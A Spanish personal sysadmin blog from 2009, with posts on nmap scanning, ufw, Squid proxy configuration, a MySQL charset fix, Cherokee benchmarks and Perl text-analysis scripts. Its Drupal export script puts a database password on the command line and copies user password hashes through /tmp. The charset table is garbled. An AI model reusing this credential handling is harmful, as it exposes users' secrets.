miércoles, 16 de diciembre de 2009

Comprobar conectividad UDP

Como estos días tengo bastante tiempo libre, he dedicado parte de este a hacer cosas que casi nunca hago, entre ellas configurar un servidor de Urban Terror. El servicio usa el motor del mítico QuakeIII, y escucha peticiones de conexión por el protocolo UDP en el puerto número 27960. Para comprobar si tenemos conectividad UDP, basta con instalar nmap y ejecutar:
pilarubio:/home/apermuy# nmap -p 27960 -sU -P0 11.22.33.44
El resultado sería:
Starting Nmap 4.62 ( http://nmap.org ) at 2009-12-16 23:08 CET
Interesting ports on ejemplo.permuy.org (11.22.33.44):
PORT STATE SERVICE
27960/udp open|filtered quake3
Saludos

martes, 1 de diciembre de 2009

cron-apt



Me ha llamado la atención un paquete para Debian GNU/Linux que no conocía: cron-apt. Básicamente lo usaremos para descargar paquetes e instalarlos posteriormente. Pero lo que más me ha gustado es lo que he leído en este blog : automatizar las descargas de las actualizaciones de seguridad, un puntazo!

En otro orden de cosas, ahora que tengo tiempo, he alquilado otro VPS en vpsville.ca, para jugar con Gentoo. Estoy tomando notas acerca de la configuración y espero tenerlas listas en unos días para escribir un post.

Saludos.

domingo, 29 de noviembre de 2009

Vacaciones...forzadas...

Mañana 30 de noviembre termino el contrato laboral que he firmado en enero de este mismo año. No voy a negar que he estado muy a gusto, implicado en el proyecto y disfrutando de mi trabajo durante estos 10 meses. Se abre una época de cierta incertidumbre, que intentaré afrontar con ilusión y sobre todo ganas. Dejando a un lado sentimentalismos, ahora tendré un poco de tiempo para escribir en este blog, algo que me apasiona, pero creo que por falta de tiempo y por falta de organización mental y personal he dejado de hacer. Muchas veces no escribo por que considero tonterías ciertas "recetas" o "cómos" que leo en la web y mejoro y/o adapto. A modo de mini-resumen, citaré webs/blogs/noticias/tecnologías y demás que me han parecido interesantes en las últimas dos semanas.
  • Remastersys: Una aplicación para Ubuntu que facilita la creación de Live CDs. La he probado y he generado dos "releases" de una modificación de Ubuntu con Apache2 y MySQL. Puedo comentar que los resultados han sido espectaculares. Os recomiendo una visita a la web del proyecto.
  • Menéame y la crisis 2.0. Interesante reflexión sobre la "crisis" de menéame y sus problemas con la censura.
  • Ubuntu One. Un servicio interesante, muy "on the cloud" para Karmic Koala. Este servicio, en su modalidad gratuíta, cede 2GB de espacio en los servidores de Canonical, para que podamos almacenar nuestros datos y sincronizarlos desde cualquier máquina, Ubuntu mediante, claro.
  • Nuevos blogs. Mañana realizaré el backup propio antes de abandonar mi puesto de trabajo e incluiré mi fichero de feeds actualizado.
Saludos.




lunes, 23 de noviembre de 2009

Nota mental MySQL

Hay mucha gente que "pasa olímpicamente" de cuidar la codificación de caracteres de sus documentos. Si ya es un lío modificar el juego de caracteres de un documento en concreto(a veces con iconv no obtenemos el resultado deseado), imaginaos la que se puede montar si tenemos una base de datos con miles de registros, y mostramos los resultados de una consulta vía web con codificación UTF-8 y los registros están codificados en ISO-8859-1. Sé que PHP, por ejemplo dispone de funciones que convierten "al vuelo" un juego de caracteres al otro, pero en mi caso, como con iconv, no obtenía los resultados esperados. En un intento casi desesperado he logrado convertir los caracteres que para UTF-8 son extraños de cadenas codificadas en ISO-8859-1 dentro de una base de datos MySQL. Para que no me vuelva suceder, y antes de asesinar a un usuario(luser), anoto lo siguiente.
ISO--UTF8
á => á
é => é
í => í
ó => ó
ú => ú
ñ => ñ


UPDATE unidades SET titulo = REPLACE (titulo, 'á', 'á');
UPDATE unidades SET titulo = REPLACE (titulo, 'é', 'é');
UPDATE unidades SET titulo = REPLACE (titulo, 'í', 'í');
UPDATE unidades SET titulo = REPLACE (titulo, 'ó', 'ó');
UPDATE unidades SET titulo = REPLACE (titulo, 'ú', 'ú')

Lo sé, no es el método más indicado, pero funciona!

domingo, 8 de noviembre de 2009

¿Cuales son las ventajas del software libre?

Estoy dándole vueltas al tema de realizar un díptico explicativo sobre software libre y demás, para la xornada de instalación de ubuntu, que celebraremos próximamente en Mugardos.
Este es un adelanto.
¿Cuales son las ventajas del software libre?

.- Económicas. La mayoría del software libre existente es gratuíto. No tendrás que pagar para poder utilizar las aplicaciones. Olvídate de cracks y versiones de prueba!
.- Libertad de uso. Podrás copiar, modificar y distribuír cómo quieras, cuando quieras y a quién tú quieras el software que descargues o tu mismo programes libremente. Sin miedo a la S.G.A.E y demás.
.- Uso estándares. Los formatos estándar permiten una interoperatividad más alta entre sistemas, evitando incompatibilidades. Infinidad de aplicaciones basan su desarrollo en estándares abiertos, accesibles por cualquier persona o entidad, y libre de costes econónicos. Al contrario,las aplicaciones propietarias, su código fuente en muchos casos es cerrado y su acceso para mejoras o estudio es muy difícil, e incluso en ocasiones de pago.
.- Localización. El software libre puede ser fácilmente traducido y adaptado, algo que dificilmente sucede con el software propietario.
.- Seguridad. El desarrollo de software por parte de decenas de personas, a veces incluso miles, facilita la localización de y corección de errores. Un error en una versión de software puede corregirse en menos de un día.
.- Personalización. El acceso libre y gratuíto al código fuente posibilita la adaptación de las aplicaciones.
.- Comunidad. La comunidad de programadores y usuarios garantiza la supervivencia del software libre. Si tienes dudas o consultas, Internet puede ayudarte a resolverlas; si deseas participar activamente, no son necesarios conocimientos técnicos para apoyar el software libre, comienza por utilizarlo; si aún deseas seguir colaborando, únete a un LUG(Linux User Group) local.

Pero el software libre es, sobre todo,un compromiso ético con un modelo de cultura, economía y sociedad más justos, donde los ordenadores sean herramientas al servicio de los ciudadanos, y el software que se ejecuta en estos, una plataforma libre para poder resolver nuestros problemas y ayudar a nuestros vecinos.

jueves, 5 de noviembre de 2009

gufw: Uncomplicated firewall


Los que llevan(llevamos) algún tiempo usando GNU/Linux seguro nos hemos visto en la tesitura de configurar un firewall. Iptables, sólo con nombrarlo, a veces asusta. Debes tener unos conocimientos sólidos del protocolo TCP/IP así como unas buenas nociones sobre redes y enrutamiento.

No recuerdo bien si lo he leído en alguna web o blog, o simplemente "jugando" con synaptic. Ubuntu desde la versión 8.04, incorporá una implementación de iptables "sencilla" para consola, llamada ufw(uncomplicated firewall). En lugar de las kilométricas cadenas de iptables, las acorta, facilitando así la administración de la máquina en cuestión. Hablamos, por supuesto, de máquinas de escritorio; desconozco aún si existe versión para servidores, aunque para esto tenemos fwbuilder , claro.

[root@patriciaconde] ufw allow http

En este ejemplo habilitaríamos todo el tráfico http.

[root@patriciaconde] ufw allow from 192.168.10.0/24 proto tcp to any port http

En este ejemplo se permite el tráfico desde(from) la red 192.168.10.0/255.255.255.0 por el protocolo http(tcp 80).

Con gufw nos olvidamos(sólo por un momento) de la consola y podremos "disfrutar" de una versión GTK(lo siento KDE users) muy sencilla. Más información en la web del proyecto.

lunes, 2 de noviembre de 2009

Xornadas GNU/Linux Ateneo Ferrol

El sábado 31 de Octubre se celebraron las xornadas de GNU/Linux en el Ateneo Ferrolán. La experiencia fue positiva, poca gente pero muy buen ambiente.

A las 08:45 partí rumbo a Ferrol y a las 9:20 estaba ya con @kutus desayunando en el BLABLA, una cafetería un poco pijota, pero tienen Wifi!
A las 10:00 comenzaba el evento y nos encontramos con @xoanferrol, con el que habíamos quedado vía twitter.

En resumen se trataba de una install party de Ubuntu 9.10. La noche anterior la había instalado en el macbook, así que me acerqué a curiosear y "chupar del canuto de Internet" para descargar unos paquetes en compañía de unos cuantos freaks.
Hubo un detalle que me llamó poderosamente la atención. La gente que ayuda con la instalación copiaba sin más comando y los pegaba en Gnome terminal, sin preguntarse el porqué ¿?¿? . Supongo que no todo el mundo ve las cosas con el mismo prisma que yo. A continuación voy a hacer una enumeración de los paquetes e historias que me llamaron la atención o que simplemente desconocía.
  • Feedly : Complemento de Firefox que permite gestionar tus feeds rss.
  • PlayOnLinux: Frontend para Wine. Espectacular.
  • Varkon: Un CAD libre.
La xornada finalizó a las 14:00 horas, pero tuve que salir a las 13:00 sin nada más que reseñar.

miércoles, 28 de octubre de 2009

Actualizar desde Ubuntu 9.04 a 9.10

Ubuntu 9.10 Countdown

Mañana Canonical liberará Ubuntu 9.10 y yo tendré que comerme todos los comentarios y post que he escrito, por que hay que reconocer que han hecho un gran trabajo.(Aunque prefiero Debian GNU/Linux).
Si no puedes esperar a descargar la ISO, y deseas actualizar vía apt-get, he leído esta mañana los pasos para actualizar la distribución desde una versión 9.04 a 9.10. Están inglés...Si os gusta más el método "consola-friki-mola-más", haciendo esto no tendréis muchos(espero) problemas.

  • aptitude install update-manager-core
  • do-release-upgrade -d

Siguiendo los pasos, y dependiendo de la conexión a Internet, se descargará 955 Mb en X minutos y comenzará el proceso de actualización. No sé si será necesario recordar que en estos casos, realizar un backup(copia de seguridad) es que más recomendado.

martes, 27 de octubre de 2009

Gracias!

Gracias a la gente de los foros de moodle.org en español he configurado la automatriculación y autenticación de moodle contra la BBDD de Drupal.En agradecimiento he subido este documento que ponga a disposición de la comunidad.

martes, 13 de octubre de 2009

Exportar a CSV desde MySQL vía Bash

Desde hace unos meses trabajo casi a diario con uno de los mejores LMS libres : Moodle. En un de los servidores web tenemos instalado Drupal, un buen CMS con un montón de funcionalidades por descubrir(al menos para mí). Pues bien, necesito que todos los usuarios que tenga cuenta en el webserver de Drupal, tengan automáticamente también una cuenta en Moodle. Una de las características que más me gusta de Moodle es la versatilidad en cuanto a la autenticación de usuarios : LDAP, Radius,Email, POP3... Tiene una opción muy útil, que permite subir los usuario en formato CSV. Si logramos extraer los campos necesarios de la BBDD Drupal tendremos la mitad de la tarea finiquitada. De momento sólo he conseguido automatizar la exportación a CSV. Evidentemente el script está muy poco trabajado, pero funciona.

#!/bin/bash
rm -rf /tmp/csv-tmp.txt
mysql --user=drupal --password=mipass drupal<SELECT name,pass,mail,name,language INTO OUTFILE'/tmp/csv-tmp.txt' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n' FROM users WHERE uid != 0;
EOFMYSQL
echo "username,password,email,firstname,lastname" > /tmp/csv-final.txt
cat /tmp/csv-tmp.txt >> /tmp/csv-final.txt
cp /tmp/csv-final.txt /home/alberto/Escritorio/csv-final.txt
chown alberto /home/alberto/Escritorio/csv-final.txt

domingo, 11 de octubre de 2009

Modo resumen ON

Voy a resumir lo que me ronda por la cabeza o en lo que estoy "liado" últimamente.
  • Curso PHP-XML. Pasada ya la fase de CSS y HTML, la semana pasada hemos comenzado a ver XML. Estoy barajando las posibilidades de implementar XML en un listado desde MySQL para unos temas laborales.El curso es bastante sencillo, digamos que el nivel es bastante básico. Últimamente no veo demasiada oferta formativa, fuera de las clásicas cerfiticaciones que valen un dineral, con nivel medio o alto. En fin, una pena.
  • Backups. La semana pasada a estas horas me estaba recuperando del susto de haber perdido los datos de un webserver que administro. Las copias de seguridad las llevaba(llevo) al día, y gracias a eso, apenas se han perdido datos: los modificados entre un backup y el otro. Tar y mysqldump han salvado la máquina.No pude dejar de pensar en la importancia de la correcta realización y verificación de los backups. De momento, y hasta hoy, estoy satisfecho(ego++) en este aspecto.
  • Apache2. Estoy un poco enfadado con Apache. Es un goloso! Estuve leyendo y probando configuraciones para mod_cache, y es probable que la semana que viene lo instale en unos de los webservers que administro.
  • Install Party Ubuntu 9.10. Se confirma la fecha del 14 de Noviembre de 11:00 a 13:00 horas en el Salón de Plenos del Concello de Mugardos. Más información proximamente en la web de www.comunidadeozulo.org.

jueves, 24 de septiembre de 2009

La (mini) biblia de VIm


Ir a linea al iniciar: vim +36 foo.c
Ir a linea en insercion: :14
Buscar: /cadena , con n la siguiente
SHITF-N para atrás
Numeros de linea: :set number
Moverse hasta el fin de la línea - $
Moverse hasta el principio de la línea - 0
Moverse hasta la siguiente palabra - w
Moverse hasta la anterior palabra - b
Moverse hasta la siguiente palabra* - W
Moverse hasta la anterior palabra* - B
Moverse a la línea n*** - nG
Moverse hasta el final de la siguiente palabra - e
Moverse hasta el final de la siguiente palabra* - E
Encontrar el siguiente caracter c en la línea actual - fc
Encontrar el anterior caracter c en la línea actual - Fc
Llegar hasta justo antes del siguiente caracter c - t
Llegar hasta justo después del anterior caracter c - T
Encontrar el paréntesis contrario** - %
Moverse hasta la siguiente frase - (
Moverse hasta la anterior frase - )
Moverse hasta el anterior párrafo - {
Moverse hasta el siguiente párrafo - }
Moverse hasta la parte superior de la pantalla - H
Moverse hasta la parte media de la pantalla - M
Moverse hasta la parte inferior de la pantalla - L
Avanzar página - ^F
Retroceder página - ^B
Deshacer el último cambio - u
Deshacer todos los cambios de la línea actual - U
Redibujar la pantalla - ^L
Ver información del archivo actual - ^G
Reemplazar un caracter - r
Sobreescribir texto - R
Borrar el caracter actual y entrar en modo inserción - s
Cambiar la línea actual* - S
Cambiar entre mayúsculas y minúsculas - ~
Borrar texto (como el BackSpace) - X
(Sólo en vim) marcar bloque - v, V, ^V
uscar texto - /texto
epetir última búsqueda - n
Repetir última búsqueda en dirección contraria - N
Repetir última búsqueda hacia abajo - /
Repetir última búsqueda hacia arriba - ?
Repetir último cambio - .
Siguiente palabra (Modo inserción) ** - ^N
Anterior palabra (Modo inserción) ** - ^P

VI CiberEncontro Kernel 2009 - Mugardos - II

Pasados ya unos días desde que finalizó el Kernel 2009, toca reflexionar. Esta edición, a mi modo de ver, a mantenido el nivel de las anteriores, pero será cuestión de pensar para el próximo año, actividades y charlas que puedan mejorar aún más el evento.
La verdad es que la edición de 2009 ha sido la edición más Linuxera de todas. Pude contar a Pablo,Evaristo,Amador,Kutus,Iñaki Quenerapu,Alberto,Carola,Rodrigo,Keko y Aaron como usuarios de GNU/Linux durante la Party, bueno e Iván a última hora del sábado,claro. Hablo sólo de la planta baja, por que en la de arriba algún Linuxero había, y por supuesto algún MacOSX user. Digo por supuesto, por que siempre se suelen pasar algunos. Lejos de pretender ser una Linux Party, no deja de llenarme de satisfacción que la gente pueda usar su cerebro, huír del "sendero de los borregos" y decidir libremente qué software correr en su máquina. Enhorabuena a tod@s!

Todos los servicios de red: http,ftp,proxy-fw,dns,dhcp y demás, corrían en dos máquinas Debian GNU/Linux 5.0.3 stable. Los resultados fueron más que satisfactorios. La características de la máquina principal son: Procesador Intel Pentium 4 3,0 Ghz, 1 GB RAM, 1 HD SATA 200Gb, 1 Interfaz Gb Ethernet, 1 Interfaz 10/100 Mb Ethernet. Para 60 usuarios, corriendo Squid 2.7, Bind 9.5 , Cherokee 0.9 y dhcp3-server, por momentos se quedaba casi si RAM pero nunca se notó en el calidad del servicio. Ni un sólo reinicio en 3 días. En la segunda máquina, instalamos un Bind 9.5 esclavo del primero, con vsfptd y cherokee. Esta máquina alojaba la web interna del evento, así cómo el servicio ftp,para subir las fotos, vídeos y concursos. Con un procesador Intel Celeron 1 Ghz y 256Mb de RAM, los resultados fueron excelentes.

Si os interesan los ficheros de configuración, a mi modo de ver los más interesante son el squid.conf(post) y el script de iptables del proxy-firewall,ningún problema en facilitarlos.

Saludos.

sábado, 19 de septiembre de 2009

VI CiberEncontro Kernel 2009 - Mugardos

Son las 04:22, a mi derecha un Macbook "pinchando" Matrix Reloaded; ante mi, 38TB de información, y una de las interfaces de red de mi máquina pinchadas a un switch gigabit. Conclusión: esto va a ser, si no lo es ya, una auténtica jauría de GB y TB.

Entrando en materia, decir que he configurado un "clásico" proxy-firewall con Debian GNU/Linux 5.0.3 Stable, nada de historias. He instalado todo el software vía apt-build y de momento el resultado es más que aceptable. Esta es la primera edición en la que durante todo el evento los routers adsl está n balanceados, y se puede decir que la conexión hacia Internet ha mejorado con respecto a años anteriores.Iptables con DROP, Bind9 cacheando las consultas DNS y Squid ayudan bastante. Ni que decir tiene que el direccionamiento es vía DHCP, y claro, necesitabamos (Organización) "algo" que nos diese un "canuto extra" de salida a Internet. ¿Cómo? Facil! Asignando las direcciones ips fijas vía DHCP y con un script que se ejecuta cada 300 segundos, inserte estas direcciones en un ACL ede Squid que nos llame a un Delay Pool. Suena un poco enrevesado, pero con este script...

#!/bin/bash
FICHERO_SQUID=/etc/squid/canuto
rm -rf $FICHERO_SQUID
touch $FICHERO_SQUID
for ip in `cat /etc/dhcp3/dhcpd.conf|grep fixed-address|awk '{ print $2 }'|cut -d ";" -f1`
do
echo $ip >> $FICHERO_SQUID
done
/etc/init.d/squid reload 2>&1 > /dev/null






#################################################
#
#FICHERO CONFIGURACION SQUID KERNEL 2009
#
#################################################
#Parametros basicos
visible_hostname sauron.kernel2009
http_port 3128 transparent
httpd_suppress_version_string on
#
#
#Pametros de la cache
cache_mem 256 MB
cache_dir aufs /cache 2048 512 128
cache_mgr info@comunidadeozulo.org
coredump_dir /var/spool/squid/coredumpdir
acl manager proto cache_object
maximum_object_size 65535 KB
cache_access_log /var/log/squid/access.log
#
#
#Parametros varios
half_closed_clients off
ftp_user anonymous@nospam.com
error_directory /usr/share/squid/errors/Spanish
#
#
##############################################
# #
#TUNNIG DE TIEMPOS DE REFRESCO DE FICHEROS #
# #
##############################################
#Refresco de la cache MIN PORCENTAJE MAX(MIN)
#
#1440 = 1 dia
#2880 = 2 dias
#10080 = 7 dias
#20160 = 14 dias
#30240 = 21 dias
#
#Ficheros comunes en parties
refresh_pattern \.iso$ 2880 80% 10080
refresh_pattern \.deb$ 2880 80% 10080
refresh_pattern \.tar.gz$ 2880 80% 10080
refresh_pattern \.gz$ 2880 80% 10080
refresh_pattern \.bz2$ 2880 80% 10080
refresh_pattern \.exe$ 2880 80% 10080
#
#
#Ficheros de imagenes
refresh_pattern \.jpg$ 1440 50% 2880
refresh_pattern \.jpeg$ 1440 50% 2880
refresh_pattern \.gif$ 1440 50% 2880
refresh_pattern \.bmp$ 1440 50% 2880
refresh_pattern \.png$ 1440 50% 2880
refresh_pattern \.svg$ 1440 50% 2880
refresh_pattern \.tif$ 1440 50% 2880
refresh_pattern \.tiff$ 1440 50% 2880
#
#
#Documentos
refresh_pattern \.xls$ 1440 80% 2880
refresh_pattern \.doc$ 1440 80% 2880
refresh_pattern \.odt$ 1440 80% 2880
refresh_pattern \.rtf$ 1440 80% 2880
refresh_pattern \.jpeg$ 1440 80% 2880
refresh_pattern \.pdf$ 1440 80% 2880
#
#
#Ficheros comprimidos
refresh_pattern \.zip$ 2880 80% 10080
refresh_pattern \.rar$ 2880 80% 10080
refresh_pattern \.arj$ 2880 80% 10080
####################################
#
#LISTAS CONTROL ACCESO -ACLs
#
####################################
#Definicion de puertos seguros
acl SSL_ports port 443 563 8080
acl Safe_ports port 80
acl Safe_ports port 21
acl Safe_ports port 20
acl Safe_ports port 443
acl Safe_ports port 563
acl Safe_ports port 777
acl Safe_ports port 1024-65535
acl CONNECT method CONNECT
#############################
acl all src 0.0.0.0/0.0.0.0
acl localhost src 127.0.0.1/255.255.255.255
acl lan src 192.168.2.0/255.255.255.0
acl canuto src "/etc/squid/canuto"
acl denywords url_regex "/etc/squid/denywords"
acl denydomains dstdom_regex "/etc/squid/denydomains"
acl sincache dstdom_regex "/etc/squid/sincache"
####################################
#
#CONTROL ANCHO BANDA
#
####################################
delay_pools 2
#
#
#Para otros
delay_class 2 1
delay_parameters 2 407000/1048576
delay_access 2 allow canuto
#Para todos
delay_class 1 1
delay_parameters 1 256000/1048576
delay_access 1 allow lan !canuto
#
#
#
#
http_access deny denydomains
http_access deny denywords
http_access allow localhost
http_access allow manager localhost
http_access allow lan
http_access deny CONNECT !SSL_Ports
http_access deny CONNECT !Safe_Ports
http_access deny all

miércoles, 9 de septiembre de 2009

No sólo de Apache2 vive el hombre...




A raíz de una serie de problemas en el servidor VPS que aloja www.permuy.org, www.comunidadeozulo.org y demás, decido prescindir de Apache2. La máquina no está sobrada de RAM, y Apache2 se encarga de contribuir a ello, consumiendo nada más arrancas el servicio hasta 60Mb! Si no lo veo no lo creo!

Me habían recomendado lighttpd, pero en realidad, siempre había leído mejores críticas en cuanto a velocidad se refiere de cherokee. Por lo que he podido comprobar(a ojo) el consumo de memoria cherokee es mas bajo que el de Apache. Pero en velocidad, ni punto de comparación. Al final sigo con Apache en www.permuy.org, pero en casa y en la oficina he migrado ya ha cherokee.

¿Qué me ha gustado del Cherokee Project?
  • Facilidad de instalación: wget, configure, make y make install.
  • No tiene dependencias externas, salvo las librerías de C, claro.
  • Soporta: FastCGI, SCGI, PHP, CGI, SSI, TLS and SSL.
  • Muy rápido, tanto para servir páginas como para reiniciar el servicio.
  • Administración muy sencilla vía web a través de cherokee-admin.
  • La documentación está muy bien estructurada y muy bien redactada.
  • En GNU/Linux funciona de maravilla.
Pruebas de rendimiento.

He realizado dos pruebas con ab en Apache 2.2.x y Cherokee 0.99.24 y la verdad es que el segundo "se come" al primero. La máquina en cuestión es:
S.O : Ubuntu 9.04
Kernel : Linux alberto 2.6.28-15-generic
RAM: 1GB DDR2 533
Procesador: Intel(R) Core(TM)2 Duo CPU E4600 @ 2.40GHz

Prueba 1
Criterio: 1000 peticiones y concurrencia = 10
Resultados para Apache 2.2.11

Server Software: Apache/2.2.11
Server Hostname: localhost
Server Port: 80

Document Path: /drupal2
Document Length: 354 bytes

Concurrency Level: 10
Time taken for tests: 0.272 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Non-2xx responses: 1002
Total transferred: 649296 bytes
HTML transferred: 354708 bytes
Requests per second: 3670.06 [#/sec] (mean)
Time per request: 2.725 [ms] (mean)
Time per request: 0.272 [ms] (mean, across all concurrent requests)
Transfer rate: 2327.11 [Kbytes/sec] received

Resultados para Cherokee 0.99.24

Server Software: Cherokee/0.99.24
Server Hostname: localhost
Server Port: 80

Document Path: /drupal2
Document Length: 293 bytes

Concurrency Level: 10
Time taken for tests: 0.219 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Non-2xx responses: 1004
Total transferred: 544168 bytes
HTML transferred: 294172 bytes
Requests per second: 4557.68 [#/sec] (mean)
Time per request: 2.194 [ms] (mean)
Time per request: 0.219 [ms] (mean, across all concurrent requests)
Transfer rate: 2422.01 [Kbytes/sec] received


Tanto la tasa de transferencia con el tiempo empleado en realizar las peticiones son menores, si bien es cierto que con 1000 peticiones pocas conclusiones se pueden sacar, de momento Apache 0 - 1 Cherokee. Ahora vamos con la prueba 2, con 100000 peticiones y concurrencia = 10.

Prueba 2
Criterio: 100000 peticiones y concurrencia = 10
Resultados para Apache 2.2.11

Server Software: Apache/2.2.11
Server Hostname: localhost
Server Port: 80

Document Path: /drupal2
Document Length: 354 bytes

Concurrency Level: 10
Time taken for tests: 19.781 seconds
Complete requests: 100000
Failed requests: 0
Write errors: 0
Non-2xx responses: 100003
Total transferred: 64801944 bytes
HTML transferred: 35401062 bytes
Requests per second: 5055.42 [#/sec] (mean)
Time per request: 1.978 [ms] (mean)
Time per request: 0.198 [ms] (mean, across all concurrent requests)
Transfer rate: 3199.23 [Kbytes/sec] received

Resultados para Cherokee 0.99.24

Server Software: Cherokee/0.99.24
Server Hostname: localhost
Server Port: 80
Document Path: /drupal2
Document Length: 293 bytes
Concurrency Level: 10
Time taken for tests: 7.734 seconds
Complete requests: 100000
Failed requests: 0
Write errors: 0
Non-2xx responses: 100000
Total transferred: 54200000 bytes
HTML transferred: 29300000 bytes
Requests per second: 12930.18 [#/sec] (mean)
Time per request: 0.773 [ms] (mean)
Time per request: 0.077 [ms] (mean, across all concurrent requests)
Transfer rate: 6843.90 [Kbytes/sec] received

Llama mucho la atención que mientras Apache2 es capaz de "responder" poco más de 5000 peticiones por segundo, cherokee llega casi a las 13.000. Ni hablar del tiempo empleado, Apache a tardado más de 11 segundos! 11 segundo es mucho tiempo, pero mucho mucho! ¿Algo más?
Enhorabuena a Alvaro Lopez, por su gran trabajo realizado desde 2001.

miércoles, 2 de septiembre de 2009

Análisis de textos,USC,examenes...Parte II

Acabo de hablar con Rosa. Ha salido del examen oral. No sabe aún la nota, pero sí le han dicho que ha aprobado. Enhorabuena! Se ha hecho justicia!

Análisis de textos,USC,examenes...

"Me comenta mi hermana que tiene una asignatura de Linux, una optativa, la ha suspendido y me comentaba si le podrías echar una mano". Así comenzaba una de las mayores sorpresas de este año. La respuesta estaba cantada, "Dile que me llame, tomamos algo y lo hablamos...". Lo dicho, quedamos y me comenta Rosa "Teño unha asignatura de Linux, facemos cousas na consola e non teño nin idea. O exame será oral a comezos de setembro, mira esta páxina web http://gramatica.usc.es/~gamallo/ , que é donde tes a información sobre a Análise Computadorizada de Textos Hispánicos". Mi sopresa es mayúscula cuando reviso el contenido del curso. El docente les ha enseñado Perl, para extraer información de cualquier texto. La frustración de Rosa : ponerse a programar,;y claro, si estudias Hispánicas, comprendo la frustración es más que comprensible.
El examen oral está disponible aquí, y según me comenta, se deben explicar los scripts el día del examen.
¿Cómo analiza un texto? Lo primero que hace es "tokenizar" el texto, es decir, escribir en cada línea una palabra.El docente les ha dejado un script, llamado tokenizer.perl, que realiza esta tarea. Ejemplo con el fichero texto.txt que contiene "Ni nombre Alberto" tendríamos un fichero de salida del tipo:
[alberto@pilarrubio]cat texto.txt|./tokenizer.perl > texto.tokenizado && cat texto.tokenizado.

Mi
nombre
es
Alberto

El contenido del fichero tokenizer.perl es el siguiente:

#!/usr/bin/perl -w


#Tokenizer:
#lê um ficheiro texto linha a linha
#Separa os símbolos especiais
#quebra as linhas cada vez que encontra um espaço em branco
#escreve um tokem ou símbolo por linha

$Separador = "[\.\,\;\:\«\»\&\%\+\=\$\(\)\<\>\!\¡\?\¿\\[\\]]" ;

while ($line=) {
chop($line);

$line =~ s/($Separador)/ $1 /g;
#$line =~ s/\s+/ /g;


@ListaDeTokens = split(" ", $line);
foreach $token (@ListaDeTokens) {

print "$token\n";

}
}


print STDERR "Fim do tokenizer\n";



El problema viene cuando nos pide que en un texto se distinga entre nombres propios, verbos y demás. Para ello, después de tener el texto "tokenizado", debemos "Taggearlo" con una aplicación de análisis morfológio llamada FreeLing, desarrollada por el Centre de Tecnologies i Aplicacions del Llenguatge i la Parla (TALP). He intentado instalarlo en Ubuntu 9.04 y en Debian 5.0 Testing, pero lamentablemente el link de descarga no funcionaban. Decidí ponerme en contacto con la gente del TALP, y tengo que decir, que, aunque no se ha resuelto aún el problema, la respuesta ha sido muy rápida. Así da gusto. Continuamos. Al final, gracias a Dorfun encontré FreeLing empaquetado en .deb en esta URL.
Taggeamos el texto:
[alberto@pilarrubio] cat texto.tokenizado|freeling-es > texto.tagged
cuyo resultado es un texto de nombre texto.tagged con el siguiente contenido.

PRO Mi
NOM nombre
V es
NOM Alberto


A continuación ya tenemos el texto tagged y podemos filtrar por el criterio que nos pida el docente, en este caso, o que el usuario decida.El enunciado del ejericio 4 es el siguiente:

4.-Cuenta y escribe de mayor a menor frecuencia todos los nombres propios.


El comando, después de tener taggeado el texto sería algo así:
[alberto@pilarrubio] cat texto.tagged |.04.perl
Donde 04.perl :

#!/usr/bin/perl
$token="";
while ($linha = ) {
chomp $linha;
if ($linha ne "") {
($token,$etiqueta) = split (" ", $linha) ;



if ($etiqueta =~ m/^NOM/ ) {
$contarNomes++;
$contar{$token}++ ;
}

}


}

if (defined $contarNomes) {
print "Ocorrencias de nomes: $contarNomes\n";
}
foreach $tokenDiff (sort {$contar{$b} <=>
$contar{$a} }
keys %contar ) {

print "$tokenDiff\t$contar{$tokenDiff}\n";
}



Si tenéis curiosidad por el tema , os remito a la web de Pablo Gamallo, el docente del curso. La casualidad me lleva a leer vía RSS una noticia que anuncia un curso de verano de la USC : "O Software Libre e a Lingüistica".
Para finalizar el post, dar mi enhorabuena al docente, que , en mi modesta opinión, se ha currado mucho el temario del curso, no tanto por la calidad de los scripts, que sí la tiene, sino por la aplicación de un lenguaje de programación, Perl, en este caso, al análisis lingüístico de textos. En segundo lugar agradecer a Rosa la oportunidad de poder ayudarla a, por lo menos, intentar aprobar la asignatura. Ahora mismo la deben de estar examinando. No suelo desear suerte a nadie en ningún examen, sólo justicia, y si se hace justicia debe aprobar: el esfuerzo (casi) siempre tiene recompensa.

Cambios en el blog

En la vida hay que ser justos, por eso he decidido quitar el logo de GNU. No sería justo "alardear" de gnuismo y demás, si uso MacOSX,FreeBSD,Debian GNU/Linux y Ubuntu.Por eso ha cambiado el Ñu por el clásico Live Free or Die de Unix. Esto no cambia mi modo de pensar ni de actuar, simplemente hablamos de ser justos.

miércoles, 19 de agosto de 2009

Nmap 5.0, actualízate si puedes.

No es la primera vez en este blog que hablo sobre Nmap. En la oficina uso Ubuntu 9.04, he tenido que aparcar Debian Testing/Unstable por haber metido la pata mezclando repositorios y compilando y recompilando kernels. El caso es que necesitaba usar nmap para hacer "unas cosillas". Todo correcto; ya conocía este software desde hace muchos años. No sé por qué, me daba la impresión de que el tiempo de espera para los escaneos era demasiado. Comprobemos la versión instalada.

root@alberto:/# /usr/bin/nmap -V

Nmap version 4.76 ( http://nmap.org )

Ahora toca visitar la web de nmap[ http://insecure.org/nmap ] , para comprobar cual es la última versión. Efectivamente, han liberado la versión 5.0, que como es de esperar se puede descargar desde la propia web. Llegados a este punto, la pregunta es: ¿Debo instalar la versión 5.0? ¿Qué mejoras existen respecto a la versión 4.x? Nmap está muy bien documentado, y podéis ver más información acerca de la versión 5.0 aquí. Todo esto está muy bien, pero en la práctica...
He realizado unas pruebas muy sencillas para comprobar en persona, las diferencias en la versión 5.0 y 4.76-0ubuntu4, que básicamente han consistido en:
  • Descargar fuentes y compilar nmap 5.0
  • Escaneo gateway(nmap sin parámetros)
  • Escaneo Sistema Operativo del gateway (nmap -O)
  • Escaneo Sistema Operativo y version del software del gateway (nmap -A -T4)
Compilando nmap.
Muy sencillo. Los pasos son los siguientes:
  • Descargamos fuentes:

[root@alberto] wget http://nmap.org/dist/nmap-5.00.tar.bz2

  • Descomprimimos y desempaquetamos

[root@alberto] tar -xjpf nmap-5.00.tar.bz2

  • Compilamos e instalamos

[root@localhost]./configure && make && make install


Llegados a este punto, tenemos el binario de la version 5.00 en /usr/local/bin/nmap y el de la version 4.76 en /usr/bin/nmap.

root@alberto:/# /usr/bin/nmap -V

Nmap version 4.76 ( http://nmap.org )

